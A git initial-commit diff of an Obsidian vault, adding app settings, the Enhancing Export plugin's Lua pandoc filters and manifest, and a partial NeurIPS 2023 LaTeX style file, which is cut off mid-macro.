first commit
This commit is contained in:
Vendored
+1
@@ -0,0 +1 @@
|
||||
{}
|
||||
Vendored
+1
@@ -0,0 +1 @@
|
||||
{}
|
||||
Vendored
+4
@@ -0,0 +1,4 @@
|
||||
[
|
||||
"obsidian-mind-map",
|
||||
"webpage-html-export"
|
||||
]
|
||||
Vendored
+33
@@ -0,0 +1,33 @@
|
||||
{
|
||||
"file-explorer": true,
|
||||
"global-search": true,
|
||||
"switcher": true,
|
||||
"graph": true,
|
||||
"backlink": true,
|
||||
"canvas": true,
|
||||
"outgoing-link": true,
|
||||
"tag-pane": true,
|
||||
"properties": false,
|
||||
"page-preview": true,
|
||||
"daily-notes": true,
|
||||
"templates": true,
|
||||
"note-composer": true,
|
||||
"command-palette": true,
|
||||
"slash-command": false,
|
||||
"editor-status": true,
|
||||
"bookmarks": true,
|
||||
"markdown-importer": false,
|
||||
"zk-prefixer": false,
|
||||
"random-note": false,
|
||||
"outline": true,
|
||||
"word-count": true,
|
||||
"slides": false,
|
||||
"audio-recorder": false,
|
||||
"workspaces": false,
|
||||
"file-recovery": true,
|
||||
"publish": false,
|
||||
"sync": false,
|
||||
"webviewer": false,
|
||||
"footnotes": false,
|
||||
"bases": true
|
||||
}
|
||||
Vendored
+22
@@ -0,0 +1,22 @@
|
||||
{
|
||||
"collapse-filter": true,
|
||||
"search": "",
|
||||
"showTags": false,
|
||||
"showAttachments": false,
|
||||
"hideUnresolved": false,
|
||||
"showOrphans": true,
|
||||
"collapse-color-groups": true,
|
||||
"colorGroups": [],
|
||||
"collapse-display": true,
|
||||
"showArrow": false,
|
||||
"textFadeMultiplier": 0,
|
||||
"nodeSizeMultiplier": 1,
|
||||
"lineSizeMultiplier": 1,
|
||||
"collapse-forces": true,
|
||||
"centerStrength": 0.518713248970312,
|
||||
"repelStrength": 10,
|
||||
"linkStrength": 1,
|
||||
"linkDistance": 250,
|
||||
"scale": 0.4444444444444444,
|
||||
"close": false
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
{
|
||||
"items": [
|
||||
{
|
||||
"name": "Markdown"
|
||||
},
|
||||
{
|
||||
"name": "Markdown (Hugo)"
|
||||
},
|
||||
{
|
||||
"name": "Html"
|
||||
},
|
||||
{
|
||||
"name": "TextBundle"
|
||||
},
|
||||
{
|
||||
"name": "Typst"
|
||||
},
|
||||
{
|
||||
"name": "PDF"
|
||||
},
|
||||
{
|
||||
"name": "Word (.docx)"
|
||||
},
|
||||
{
|
||||
"name": "OpenOffice"
|
||||
},
|
||||
{
|
||||
"name": "RTF"
|
||||
},
|
||||
{
|
||||
"name": "Epub"
|
||||
},
|
||||
{
|
||||
"name": "Latex"
|
||||
},
|
||||
{
|
||||
"name": "Media Wiki"
|
||||
},
|
||||
{
|
||||
"name": "reStructuredText"
|
||||
},
|
||||
{
|
||||
"name": "Textile"
|
||||
},
|
||||
{
|
||||
"name": "OPML"
|
||||
},
|
||||
{
|
||||
"name": "Bibliography"
|
||||
}
|
||||
],
|
||||
"pandocPath": {
|
||||
"linux": "/home/linuxbrew/.linuxbrew/bin/pandoc"
|
||||
},
|
||||
"defaultExportDirectoryMode": "Auto",
|
||||
"openExportedFile": true,
|
||||
"env": {},
|
||||
"showExportProgressBar": true
|
||||
}
|
||||
@@ -0,0 +1,6 @@
|
||||
-- credits to tarleb — StackExchange: https://tex.stackexchange.com/questions/392070/pandoc-markdown-create-self-contained-bib-file-from-cited-references
|
||||
function Pandoc(d)
|
||||
d.meta.references = pandoc.utils.references(d)
|
||||
d.meta.bibliography = nil
|
||||
return d
|
||||
end
|
||||
@@ -0,0 +1,5 @@
|
||||
package.path=package.path..";" ..debug.getinfo(1).source:match("(.*[/\\])"):sub(2) .. "?.lua"
|
||||
|
||||
Mode='hugo'
|
||||
|
||||
require('markdown')
|
||||
@@ -0,0 +1,237 @@
|
||||
package.path=debug.getinfo(1).source:gsub('@',''):sub(0):match('(.*[/\\])'):sub(0) .. '?.lua' .. ';' .. package.path
|
||||
|
||||
require("polyfill")
|
||||
local url = require('url')
|
||||
|
||||
local pandoc=pandoc
|
||||
local PANDOC_STATE=PANDOC_STATE
|
||||
|
||||
PANDOC_VERSION:must_be_at_least '3.1.7'
|
||||
|
||||
os.text = pandoc.text
|
||||
|
||||
local PATH = pandoc.path
|
||||
local doc_dir = nil
|
||||
local media_dir = nil
|
||||
|
||||
if Mode == nil then
|
||||
Mode = 'default'
|
||||
end
|
||||
|
||||
-- print("Mode: "..Mode)
|
||||
|
||||
if PANDOC_STATE.output_file then
|
||||
local output_file = PANDOC_STATE.output_file
|
||||
doc_dir = PATH.directory(output_file)
|
||||
if PANDOC_WRITER_OPTIONS.variables["media_dir"] then
|
||||
media_dir = tostring(PANDOC_WRITER_OPTIONS.variables["media_dir"])
|
||||
else
|
||||
media_dir = PATH.split_extension(output_file)
|
||||
if Mode ~= 'hugo' then
|
||||
media_dir = media_dir .. '-media'
|
||||
end
|
||||
end
|
||||
end
|
||||
assert(doc_dir, "doc_dir is nil")
|
||||
assert(media_dir, "media_dir is nil")
|
||||
|
||||
|
||||
local function get_absolute_path(file_path)
|
||||
if PATH.is_absolute(file_path) then
|
||||
return file_path
|
||||
end
|
||||
for _, dir in pairs(PANDOC_STATE.resource_path) do
|
||||
local full_path = PATH.join({dir, file_path})
|
||||
if os.exists(full_path) then
|
||||
return full_path
|
||||
end
|
||||
end
|
||||
for _, file in pairs(PANDOC_STATE.input_files) do
|
||||
if not PATH.is_absolute(file) then
|
||||
file = PATH.join({pandoc.system.get_working_directory(), file_path})
|
||||
end
|
||||
local dir = PATH.directory(file)
|
||||
local full_path = PATH.join({dir, file_path})
|
||||
if os.exists(full_path) then
|
||||
return full_path
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
local function get_output_file(file_path)
|
||||
if media_dir then
|
||||
local new_file_name = pandoc.utils.sha1(file_path)
|
||||
local _, new_file_ext = PATH.split_extension(file_path)
|
||||
file_path = new_file_name .. new_file_ext
|
||||
local full_path = PATH.join({media_dir, file_path})
|
||||
return full_path
|
||||
else
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
local function extract_media(file_path)
|
||||
os.mkdir(media_dir)
|
||||
file_path = url.decode(file_path)
|
||||
local abs_path = get_absolute_path(file_path)
|
||||
local file = get_output_file(file_path)
|
||||
if abs_path and file then
|
||||
if not os.exists(file) then
|
||||
os.copy(abs_path, file)
|
||||
end
|
||||
local rel_path = PATH.make_relative(file, doc_dir, false)
|
||||
local parts = PATH.split(rel_path)
|
||||
for i,v in ipairs(parts) do
|
||||
parts[i] = url.encode(v)
|
||||
end
|
||||
local encoded_rel_path = table.concat(parts, "/")
|
||||
if Mode == 'hugo' then
|
||||
encoded_rel_path = '../' .. encoded_rel_path
|
||||
end
|
||||
return encoded_rel_path
|
||||
end
|
||||
end
|
||||
|
||||
local function raw(s)
|
||||
return pandoc.RawInline('markdown', s)
|
||||
end
|
||||
|
||||
function Image(el)
|
||||
local src = extract_media(el.src)
|
||||
if src then
|
||||
el.src = src
|
||||
end
|
||||
return el
|
||||
end
|
||||
|
||||
function Space()
|
||||
return raw(' ')
|
||||
end
|
||||
|
||||
function SoftBreak()
|
||||
return raw('\n')
|
||||
end
|
||||
|
||||
function RawInline(el)
|
||||
if el.format == "html" then
|
||||
el.format = 'markdown'
|
||||
el.text = string.gsub(el.text, '<img[^>]+>', function(img)
|
||||
return string.gsub(img, 'src="([^"]+)"', function(url)
|
||||
if string.find(url, '^[Hh][Tt][Tt][Pp][Ss]?://') == nil then
|
||||
local extract_media_url = extract_media(url)
|
||||
if extract_media_url then
|
||||
return 'src="' .. extract_media_url .. '"'
|
||||
end
|
||||
return '123'
|
||||
end
|
||||
return 'src="' .. url .. '"'
|
||||
end)
|
||||
end)
|
||||
end
|
||||
return el
|
||||
end
|
||||
|
||||
function RawBlock(el)
|
||||
if el.format == "html" then
|
||||
el.format = 'markdown'
|
||||
end
|
||||
return el
|
||||
end
|
||||
|
||||
function Math(el)
|
||||
if Mode == 'hugo' then
|
||||
if el.mathtype == 'DisplayMath' then
|
||||
return raw('{{< mathjax >}}\n$$' .. el.text .. '$$\n{{</mathjax >}}')
|
||||
else
|
||||
el.text = string.gsub(el.text, '\\[\\{\\}]', function (v)
|
||||
return '\\' .. v
|
||||
end)
|
||||
el.text = string.gsub(el.text, '_', function (v)
|
||||
return '\\' .. v
|
||||
end)
|
||||
end
|
||||
end
|
||||
return el
|
||||
end
|
||||
|
||||
local function headerLink(input)
|
||||
-- github style section link
|
||||
return "#"..input:gsub(' ', '-')
|
||||
end
|
||||
|
||||
|
||||
local function insertLink(content, linkDescription)
|
||||
local descriptionText = table.concat(linkDescription, "")
|
||||
|
||||
if string.find(descriptionText, '|') then
|
||||
local target, desc = descriptionText:match("(.*)|(.*)")
|
||||
table.insert(content, pandoc.Link(desc, headerLink(target)))
|
||||
else
|
||||
table.insert(content, pandoc.Link(descriptionText, headerLink(descriptionText)))
|
||||
end
|
||||
end
|
||||
|
||||
function Para(el)
|
||||
local content = el.content
|
||||
content = ProcessMath(content)
|
||||
content = ProcessInternalLinks(content)
|
||||
el.content = content
|
||||
return el
|
||||
end
|
||||
|
||||
function ProcessMath(elements)
|
||||
local content = {}
|
||||
local in_display_math = false
|
||||
for _, item in pairs(elements) do
|
||||
if item.t == 'Str'and item.text == "$$" then
|
||||
in_display_math = not in_display_math
|
||||
else
|
||||
if in_display_math then
|
||||
if item.t == 'RawInline' and item.format == 'tex' then
|
||||
local n = pandoc.Math('DisplayMath', '\n' .. item.text .. '\n')
|
||||
table.insert(content, Math(n))
|
||||
else
|
||||
table.insert(content, item)
|
||||
end
|
||||
else
|
||||
table.insert(content, item)
|
||||
end
|
||||
end
|
||||
end
|
||||
return content
|
||||
end
|
||||
|
||||
function ProcessInternalLinks(elements)
|
||||
local content = {}
|
||||
local in_section_link = false
|
||||
local linkDescription = {}
|
||||
|
||||
for _, item in pairs(elements) do
|
||||
if item.t == 'Str' and string.starts_with(item.text, '[[#') then
|
||||
in_section_link = true
|
||||
table.insert(linkDescription, string.sub(item.text, 4))
|
||||
elseif in_section_link then
|
||||
if string.ends_with(item.text, ']]') then
|
||||
table.insert(linkDescription, string.sub(item.text, 1, -3))
|
||||
insertLink(content, linkDescription)
|
||||
in_section_link = false
|
||||
linkDescription = {}
|
||||
else
|
||||
table.insert(linkDescription, item.text)
|
||||
end
|
||||
else
|
||||
table.insert(content, item)
|
||||
end
|
||||
end
|
||||
return content
|
||||
end
|
||||
|
||||
function Plain(el)
|
||||
el.content = ProcessInternalLinks(el.content)
|
||||
return el
|
||||
end
|
||||
|
||||
function Pandoc(el)
|
||||
return el
|
||||
end
|
||||
@@ -0,0 +1,68 @@
|
||||
traverse = 'topdown'
|
||||
|
||||
math_block_text = nil
|
||||
function process(el)
|
||||
|
||||
-- MathBlock start or end
|
||||
if el.t == 'Str' and el.text == '$$' then
|
||||
if math_block_text == nil then -- start
|
||||
math_block_text = ''
|
||||
else -- end
|
||||
local math_block = pandoc.Math('DisplayMath', '\n' .. math_block_text .. '\n')
|
||||
math_block_text = nil
|
||||
return math_block
|
||||
end
|
||||
return {}
|
||||
end
|
||||
|
||||
if math_block_text then
|
||||
if (el.t == 'RawInline' or el.t == 'RawBlock') and el.format == 'tex' then
|
||||
math_block_text = math_block_text .. el.text
|
||||
return {}
|
||||
elseif el.t == 'Str' then
|
||||
math_block_text = math_block_text .. el.text
|
||||
return {}
|
||||
elseif el.t == 'SoftBreak' or el.t == 'BulletList' then
|
||||
return {}
|
||||
end
|
||||
end
|
||||
return el
|
||||
end
|
||||
|
||||
function RawInline(el)
|
||||
return process(el)
|
||||
end
|
||||
|
||||
function RawBlock(el)
|
||||
return process(el)
|
||||
end
|
||||
|
||||
function Str(el)
|
||||
return process(el)
|
||||
end
|
||||
|
||||
function SoftBreak(el)
|
||||
return process(el)
|
||||
end
|
||||
|
||||
function Header(el)
|
||||
return process(el)
|
||||
end
|
||||
|
||||
function Para(el)
|
||||
return process(el)
|
||||
end
|
||||
|
||||
function Plain(el)
|
||||
return process(el)
|
||||
end
|
||||
|
||||
function BulletList(el)
|
||||
return process(el)
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,12 @@
|
||||
|
||||
return {
|
||||
{
|
||||
Math = function (elem)
|
||||
if elem.text:find("^%s*\\begin{") ~= nil then
|
||||
return pandoc.RawInline('tex', elem.text)
|
||||
else
|
||||
return elem
|
||||
end
|
||||
end,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,61 @@
|
||||
os.platform = nil
|
||||
if os.platform == nil then
|
||||
local libExt = package.cpath:match("%p[\\|/]?\\.%p(%a+)")
|
||||
if libExt == 'dll' then
|
||||
os.platform = "Windows"
|
||||
elseif libExt == 'so' then
|
||||
os.platform = "Linux"
|
||||
elseif libExt == 'dylib' then
|
||||
os.platform = "MacOS"
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
os.copy = function(src, dest)
|
||||
if os.platform == "Windows" then
|
||||
src = string.gsub(src, "/", "\\")
|
||||
src = os.text.toencoding(src)
|
||||
dest = os.text.toencoding(dest)
|
||||
os.execute('copy "' .. src .. '" "' .. dest .. '" >NUL')
|
||||
else
|
||||
os.execute('cp "' .. src .. '" "' .. dest .. '"')
|
||||
end
|
||||
end
|
||||
|
||||
os.mkdir = function(dir)
|
||||
if os.exists(dir) then
|
||||
return
|
||||
end
|
||||
if os.platform == "Windows" then
|
||||
dir = os.text.toencoding(dir)
|
||||
os.execute('mkdir "' .. dir .. '"')
|
||||
else
|
||||
os.execute('mkdir -p "' .. dir .. '"')
|
||||
end
|
||||
end
|
||||
|
||||
os.exists = function(path)
|
||||
if os.platform == "Windows" then
|
||||
path = string.gsub(path, "/", "\\")
|
||||
path = os.text.toencoding(path)
|
||||
local _, _, code = os.execute('if exist "' .. path .. '" (exit 0) else (exit 1)')
|
||||
return code == 0
|
||||
else
|
||||
local _, _, code = os.execute('test -e "' .. path .. '"')
|
||||
return code == 0
|
||||
end
|
||||
end
|
||||
|
||||
string.starts_with = function(str, start)
|
||||
return str:sub(1, #start) == start
|
||||
end
|
||||
|
||||
string.ends_with = function(str, ending)
|
||||
return ending == "" or str:sub(-#ending) == ending
|
||||
end
|
||||
|
||||
|
||||
return {
|
||||
os = os,
|
||||
string = string
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
local function encode (str)
|
||||
str = string.gsub (str, "([^0-9a-zA-Z !'()*._~-])", -- locale independent
|
||||
function (c) return string.format ("%%%02X", string.byte(c)) end)
|
||||
str = string.gsub (str, " ", "%%20")
|
||||
return str
|
||||
end
|
||||
|
||||
|
||||
local function decode (str)
|
||||
str = string.gsub (str, "%%20", " ")
|
||||
str = string.gsub (str, "%%(%x%x)", function(h) return string.char(tonumber(h,16)) end)
|
||||
return str
|
||||
end
|
||||
|
||||
return {
|
||||
encode = encode,
|
||||
decode = decode
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,10 @@
|
||||
{
|
||||
"id": "obsidian-enhancing-export",
|
||||
"name": "Enhancing Export",
|
||||
"version": "1.10.9",
|
||||
"minAppVersion": "1.6.3",
|
||||
"description": "This is a enhancing export plugin for Obsidian. It allows to export to formats like Html, DOCX, ePub and PDF or Markdown(Hugo) etc.",
|
||||
"author": "YISH",
|
||||
"authorUrl": "https://github.com/mokeyish",
|
||||
"isDesktopOnly": true
|
||||
}
|
||||
@@ -0,0 +1 @@
|
||||
.setting-item.ex-setting-item{border-top:unset;padding-top:0}*[hidden]{display:none}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,373 @@
|
||||
% partial rewrite of the LaTeX2e package for submissions to the
|
||||
% Conference on Neural Information Processing Systems (NeurIPS):
|
||||
%
|
||||
% - uses more LaTeX conventions
|
||||
% - line numbers at submission time replaced with aligned numbers from
|
||||
% lineno package
|
||||
% - \nipsfinalcopy replaced with [final] package option
|
||||
% - automatically loads times package for authors
|
||||
% - loads natbib automatically; this can be suppressed with the
|
||||
% [nonatbib] package option
|
||||
% - adds foot line to first page identifying the conference
|
||||
% - adds preprint option for submission to e.g. arXiv
|
||||
% - conference acronym modified
|
||||
%
|
||||
% Roman Garnett ([email protected]) and the many authors of
|
||||
% nips15submit_e.sty, including MK and drstrip@sandia
|
||||
%
|
||||
% last revision: March 2023
|
||||
|
||||
\NeedsTeXFormat{LaTeX2e}
|
||||
\ProvidesPackage{neurips}[2023/03/31 NeurIPS 2023 submission/camera-ready style file]
|
||||
|
||||
% declare final option, which creates camera-ready copy
|
||||
\newif\if@neuripsfinal\@neuripsfinalfalse
|
||||
\DeclareOption{final}{
|
||||
\@neuripsfinaltrue
|
||||
}
|
||||
|
||||
% declare nonatbib option, which does not load natbib in case of
|
||||
% package clash (users can pass options to natbib via
|
||||
% \PassOptionsToPackage)
|
||||
\newif\if@natbib\@natbibtrue
|
||||
\DeclareOption{nonatbib}{
|
||||
\@natbibfalse
|
||||
}
|
||||
|
||||
% declare preprint option, which creates a preprint version ready for
|
||||
% upload to, e.g., arXiv
|
||||
\newif\if@preprint\@preprintfalse
|
||||
\DeclareOption{preprint}{
|
||||
\@preprinttrue
|
||||
}
|
||||
|
||||
\ProcessOptions\relax
|
||||
|
||||
% determine whether this is an anonymized submission
|
||||
\newif\if@submission\@submissiontrue
|
||||
\if@neuripsfinal\@submissionfalse\fi
|
||||
\if@preprint\@submissionfalse\fi
|
||||
|
||||
% fonts
|
||||
\renewcommand{\rmdefault}{ptm}
|
||||
\renewcommand{\sfdefault}{phv}
|
||||
|
||||
% change this every year for notice string at bottom
|
||||
\newcommand{\@neuripsordinal}{}
|
||||
\newcommand{\@neuripsyear}{\the\year}
|
||||
\newcommand{\@neuripslocation}{}
|
||||
|
||||
% acknowledgments
|
||||
\usepackage{environ}
|
||||
\newcommand{\acksection}{\section*{Acknowledgments and Disclosure of Funding}}
|
||||
\NewEnviron{ack}{%
|
||||
\acksection
|
||||
\BODY
|
||||
}
|
||||
|
||||
|
||||
% load natbib unless told otherwise
|
||||
\if@natbib
|
||||
\RequirePackage{natbib}
|
||||
\fi
|
||||
|
||||
% set page geometry
|
||||
\usepackage[verbose=true,letterpaper]{geometry}
|
||||
\AtBeginDocument{
|
||||
\newgeometry{
|
||||
textheight=9in,
|
||||
textwidth=5.5in,
|
||||
top=1in,
|
||||
headheight=12pt,
|
||||
headsep=25pt,
|
||||
footskip=30pt
|
||||
}
|
||||
\@ifpackageloaded{fullpage}
|
||||
{\PackageWarning{neurips_2023}{fullpage package not allowed! Overwriting formatting.}}
|
||||
{}
|
||||
}
|
||||
|
||||
\widowpenalty=10000
|
||||
\clubpenalty=10000
|
||||
\flushbottom
|
||||
\sloppy
|
||||
|
||||
|
||||
% font sizes with reduced leading
|
||||
\renewcommand{\normalsize}{%
|
||||
\@setfontsize\normalsize\@xpt\@xipt
|
||||
\abovedisplayskip 7\p@ \@plus 2\p@ \@minus 5\p@
|
||||
\abovedisplayshortskip \z@ \@plus 3\p@
|
||||
\belowdisplayskip \abovedisplayskip
|
||||
\belowdisplayshortskip 4\p@ \@plus 3\p@ \@minus 3\p@
|
||||
}
|
||||
\normalsize
|
||||
\renewcommand{\small}{%
|
||||
\@setfontsize\small\@ixpt\@xpt
|
||||
\abovedisplayskip 6\p@ \@plus 1.5\p@ \@minus 4\p@
|
||||
\abovedisplayshortskip \z@ \@plus 2\p@
|
||||
\belowdisplayskip \abovedisplayskip
|
||||
\belowdisplayshortskip 3\p@ \@plus 2\p@ \@minus 2\p@
|
||||
}
|
||||
\renewcommand{\footnotesize}{\@setfontsize\footnotesize\@ixpt\@xpt}
|
||||
\renewcommand{\scriptsize}{\@setfontsize\scriptsize\@viipt\@viiipt}
|
||||
\renewcommand{\tiny}{\@setfontsize\tiny\@vipt\@viipt}
|
||||
\renewcommand{\large}{\@setfontsize\large\@xiipt{14}}
|
||||
\renewcommand{\Large}{\@setfontsize\Large\@xivpt{16}}
|
||||
\renewcommand{\LARGE}{\@setfontsize\LARGE\@xviipt{20}}
|
||||
\renewcommand{\huge}{\@setfontsize\huge\@xxpt{23}}
|
||||
\renewcommand{\Huge}{\@setfontsize\Huge\@xxvpt{28}}
|
||||
|
||||
% sections with less space
|
||||
\providecommand{\section}{}
|
||||
\renewcommand{\section}{%
|
||||
\@startsection{section}{1}{\z@}%
|
||||
{-2.0ex \@plus -0.5ex \@minus -0.2ex}%
|
||||
{ 1.5ex \@plus 0.3ex \@minus 0.2ex}%
|
||||
{\large\bf\raggedright}%
|
||||
}
|
||||
\providecommand{\subsection}{}
|
||||
\renewcommand{\subsection}{%
|
||||
\@startsection{subsection}{2}{\z@}%
|
||||
{-1.8ex \@plus -0.5ex \@minus -0.2ex}%
|
||||
{ 0.8ex \@plus 0.2ex}%
|
||||
{\normalsize\bf\raggedright}%
|
||||
}
|
||||
\providecommand{\subsubsection}{}
|
||||
\renewcommand{\subsubsection}{%
|
||||
\@startsection{subsubsection}{3}{\z@}%
|
||||
{-1.5ex \@plus -0.5ex \@minus -0.2ex}%
|
||||
{ 0.5ex \@plus 0.2ex}%
|
||||
{\normalsize\bf\raggedright}%
|
||||
}
|
||||
\providecommand{\paragraph}{}
|
||||
\renewcommand{\paragraph}{%
|
||||
\@startsection{paragraph}{4}{\z@}%
|
||||
{1.5ex \@plus 0.5ex \@minus 0.2ex}%
|
||||
{-1em}%
|
||||
{\normalsize\bf}%
|
||||
}
|
||||
\providecommand{\subparagraph}{}
|
||||
\renewcommand{\subparagraph}{%
|
||||
\@startsection{subparagraph}{5}{\z@}%
|
||||
{1.5ex \@plus 0.5ex \@minus 0.2ex}%
|
||||
{-1em}%
|
||||
{\normalsize\bf}%
|
||||
}
|
||||
\providecommand{\subsubsubsection}{}
|
||||
\renewcommand{\subsubsubsection}{%
|
||||
\vskip5pt{\noindent\normalsize\rm\raggedright}%
|
||||
}
|
||||
|
||||
% float placement
|
||||
\renewcommand{\topfraction }{0.85}
|
||||
\renewcommand{\bottomfraction }{0.4}
|
||||
\renewcommand{\textfraction }{0.1}
|
||||
\renewcommand{\floatpagefraction}{0.7}
|
||||
|
||||
\newlength{\@neuripsabovecaptionskip}\setlength{\@neuripsabovecaptionskip}{7\p@}
|
||||
\newlength{\@neuripsbelowcaptionskip}\setlength{\@neuripsbelowcaptionskip}{\z@}
|
||||
|
||||
\setlength{\abovecaptionskip}{\@neuripsabovecaptionskip}
|
||||
\setlength{\belowcaptionskip}{\@neuripsbelowcaptionskip}
|
||||
|
||||
% swap above/belowcaptionskip lengths for tables
|
||||
\renewenvironment{table}
|
||||
{\setlength{\abovecaptionskip}{\@neuripsbelowcaptionskip}%
|
||||
\setlength{\belowcaptionskip}{\@neuripsabovecaptionskip}%
|
||||
\@float{table}}
|
||||
{\end@float}
|
||||
|
||||
% footnote formatting
|
||||
\setlength{\footnotesep }{6.65\p@}
|
||||
\setlength{\skip\footins}{9\p@ \@plus 4\p@ \@minus 2\p@}
|
||||
\renewcommand{\footnoterule}{\kern-3\p@ \hrule width 12pc \kern 2.6\p@}
|
||||
\setcounter{footnote}{0}
|
||||
|
||||
% paragraph formatting
|
||||
\setlength{\parindent}{\z@}
|
||||
\setlength{\parskip }{5.5\p@}
|
||||
|
||||
% list formatting
|
||||
\setlength{\topsep }{4\p@ \@plus 1\p@ \@minus 2\p@}
|
||||
\setlength{\partopsep }{1\p@ \@plus 0.5\p@ \@minus 0.5\p@}
|
||||
\setlength{\itemsep }{2\p@ \@plus 1\p@ \@minus 0.5\p@}
|
||||
\setlength{\parsep }{2\p@ \@plus 1\p@ \@minus 0.5\p@}
|
||||
\setlength{\leftmargin }{3pc}
|
||||
\setlength{\leftmargini }{\leftmargin}
|
||||
\setlength{\leftmarginii }{2em}
|
||||
\setlength{\leftmarginiii}{1.5em}
|
||||
\setlength{\leftmarginiv }{1.0em}
|
||||
\setlength{\leftmarginv }{0.5em}
|
||||
\def\@listi {\leftmargin\leftmargini}
|
||||
\def\@listii {\leftmargin\leftmarginii
|
||||
\labelwidth\leftmarginii
|
||||
\advance\labelwidth-\labelsep
|
||||
\topsep 2\p@ \@plus 1\p@ \@minus 0.5\p@
|
||||
\parsep 1\p@ \@plus 0.5\p@ \@minus 0.5\p@
|
||||
\itemsep \parsep}
|
||||
\def\@listiii{\leftmargin\leftmarginiii
|
||||
\labelwidth\leftmarginiii
|
||||
\advance\labelwidth-\labelsep
|
||||
\topsep 1\p@ \@plus 0.5\p@ \@minus 0.5\p@
|
||||
\parsep \z@
|
||||
\partopsep 0.5\p@ \@plus 0\p@ \@minus 0.5\p@
|
||||
\itemsep \topsep}
|
||||
\def\@listiv {\leftmargin\leftmarginiv
|
||||
\labelwidth\leftmarginiv
|
||||
\advance\labelwidth-\labelsep}
|
||||
\def\@listv {\leftmargin\leftmarginv
|
||||
\labelwidth\leftmarginv
|
||||
\advance\labelwidth-\labelsep}
|
||||
\def\@listvi {\leftmargin\leftmarginvi
|
||||
\labelwidth\leftmarginvi
|
||||
\advance\labelwidth-\labelsep}
|
||||
|
||||
% create title
|
||||
\providecommand{\maketitle}{}
|
||||
\renewcommand{\maketitle}{%
|
||||
\par
|
||||
\begingroup
|
||||
\renewcommand{\thefootnote}{\fnsymbol{footnote}}
|
||||
% for perfect author name centering
|
||||
\renewcommand{\@makefnmark}{\hbox to \z@{$^{\@thefnmark}$\hss}}
|
||||
% The footnote-mark was overlapping the footnote-text,
|
||||
% added the following to fix this problem (MK)
|
||||
\long\def\@makefntext##1{%
|
||||
\parindent 1em\noindent
|
||||
\hbox to 1.8em{\hss $\m@th ^{\@thefnmark}$}##1
|
||||
}
|
||||
\thispagestyle{empty}
|
||||
\@maketitle
|
||||
\@thanks
|
||||
\@notice
|
||||
\endgroup
|
||||
\let\maketitle\relax
|
||||
\let\thanks\relax
|
||||
}
|
||||
|
||||
% rules for title box at top of first page
|
||||
\newcommand{\@toptitlebar}{
|
||||
\hrule height 4\p@
|
||||
\vskip 0.25in
|
||||
\vskip -\parskip%
|
||||
}
|
||||
\newcommand{\@bottomtitlebar}{
|
||||
\vskip 0.29in
|
||||
\vskip -\parskip
|
||||
\hrule height 1\p@
|
||||
\vskip 0.09in%
|
||||
}
|
||||
|
||||
% create title (includes both anonymized and non-anonymized versions)
|
||||
\providecommand{\@maketitle}{}
|
||||
\renewcommand{\@maketitle}{%
|
||||
\vbox{%
|
||||
\hsize\textwidth
|
||||
\linewidth\hsize
|
||||
\vskip 0.1in
|
||||
\@toptitlebar
|
||||
\centering
|
||||
{\LARGE\bf \@title\par}
|
||||
\@bottomtitlebar
|
||||
\if@submission
|
||||
\begin{tabular}[t]{c}\bf\rule{\z@}{24\p@}
|
||||
Anonymous Author(s) \\
|
||||
Affiliation \\
|
||||
Address \\
|
||||
\texttt{email} \\
|
||||
\end{tabular}%
|
||||
\else
|
||||
\def\And{%
|
||||
\end{tabular}\hfil\linebreak[0]\hfil%
|
||||
\begin{tabular}[t]{c}\bf\rule{\z@}{24\p@}\ignorespaces%
|
||||
}
|
||||
\def\AND{%
|
||||
\end{tabular}\hfil\linebreak[4]\hfil%
|
||||
\begin{tabular}[t]{c}\bf\rule{\z@}{24\p@}\ignorespaces%
|
||||
}
|
||||
\begin{tabular}[t]{c}\bf\rule{\z@}{24\p@}\@author\end{tabular}%
|
||||
\fi
|
||||
\vskip 0.3in \@minus 0.1in
|
||||
}
|
||||
}
|
||||
|
||||
% add conference notice to bottom of first page
|
||||
\newcommand{\ftype@noticebox}{8}
|
||||
\newcommand{\@notice}{%
|
||||
% give a bit of extra room back to authors on first page
|
||||
\enlargethispage{2\baselineskip}%
|
||||
\@float{noticebox}[b]%
|
||||
\footnotesize\@noticestring%
|
||||
\end@float%
|
||||
}
|
||||
|
||||
% abstract styling
|
||||
\renewenvironment{abstract}%
|
||||
{%
|
||||
\vskip 0.075in%
|
||||
\centerline%
|
||||
{\large\bf Abstract}%
|
||||
\vspace{0.5ex}%
|
||||
\begin{quote}%
|
||||
}
|
||||
{
|
||||
\par%
|
||||
\end{quote}%
|
||||
\vskip 1ex%
|
||||
}
|
||||
|
||||
% handle tweaks for camera-ready copy vs. submission copy
|
||||
\if@preprint
|
||||
\newcommand{\@noticestring}{%
|
||||
Preprint. Under review.%
|
||||
}
|
||||
\else
|
||||
\if@neuripsfinal
|
||||
\newcommand{\@noticestring}{%
|
||||
(\@neuripsyear) \@title
|
||||
}
|
||||
\else
|
||||
\newcommand{\@noticestring}{%
|
||||
(\@neuripsyear) \@title %
|
||||
}
|
||||
|
||||
% hide the acknowledgements
|
||||
\NewEnviron{hide}{}
|
||||
\let\ack\hide
|
||||
\let\endack\endhide
|
||||
|
||||
% line numbers for submission
|
||||
\RequirePackage{lineno}
|
||||
\linenumbers
|
||||
|
||||
% fix incompatibilities between lineno and amsmath, if required, by
|
||||
% transparently wrapping linenomath environments around amsmath
|
||||
% environments
|
||||
\AtBeginDocument{%
|
||||
\@ifpackageloaded{amsmath}{%
|
||||
\newcommand*\patchAmsMathEnvironmentForLineno[1]{%
|
||||
\expandafter\let\csname old#1\expandafter\endcsname\csname #1\endcsname
|
||||
\expandafter\let\csname oldend#1\expandafter\endcsname\csname end#1\endcsname
|
||||
\renewenvironment{#1}%
|
||||
{\linenomath\csname old#1\endcsname}%
|
||||
{\csname oldend#1\endcsname\endlinenomath}%
|
||||
}%
|
||||
\newcommand*\patchBothAmsMathEnvironmentsForLineno[1]{%
|
||||
\patchAmsMathEnvironmentForLineno{#1}%
|
||||
\patchAmsMathEnvironmentForLineno{#1*}%
|
||||
}%
|
||||
\patchBothAmsMathEnvironmentsForLineno{equation}%
|
||||
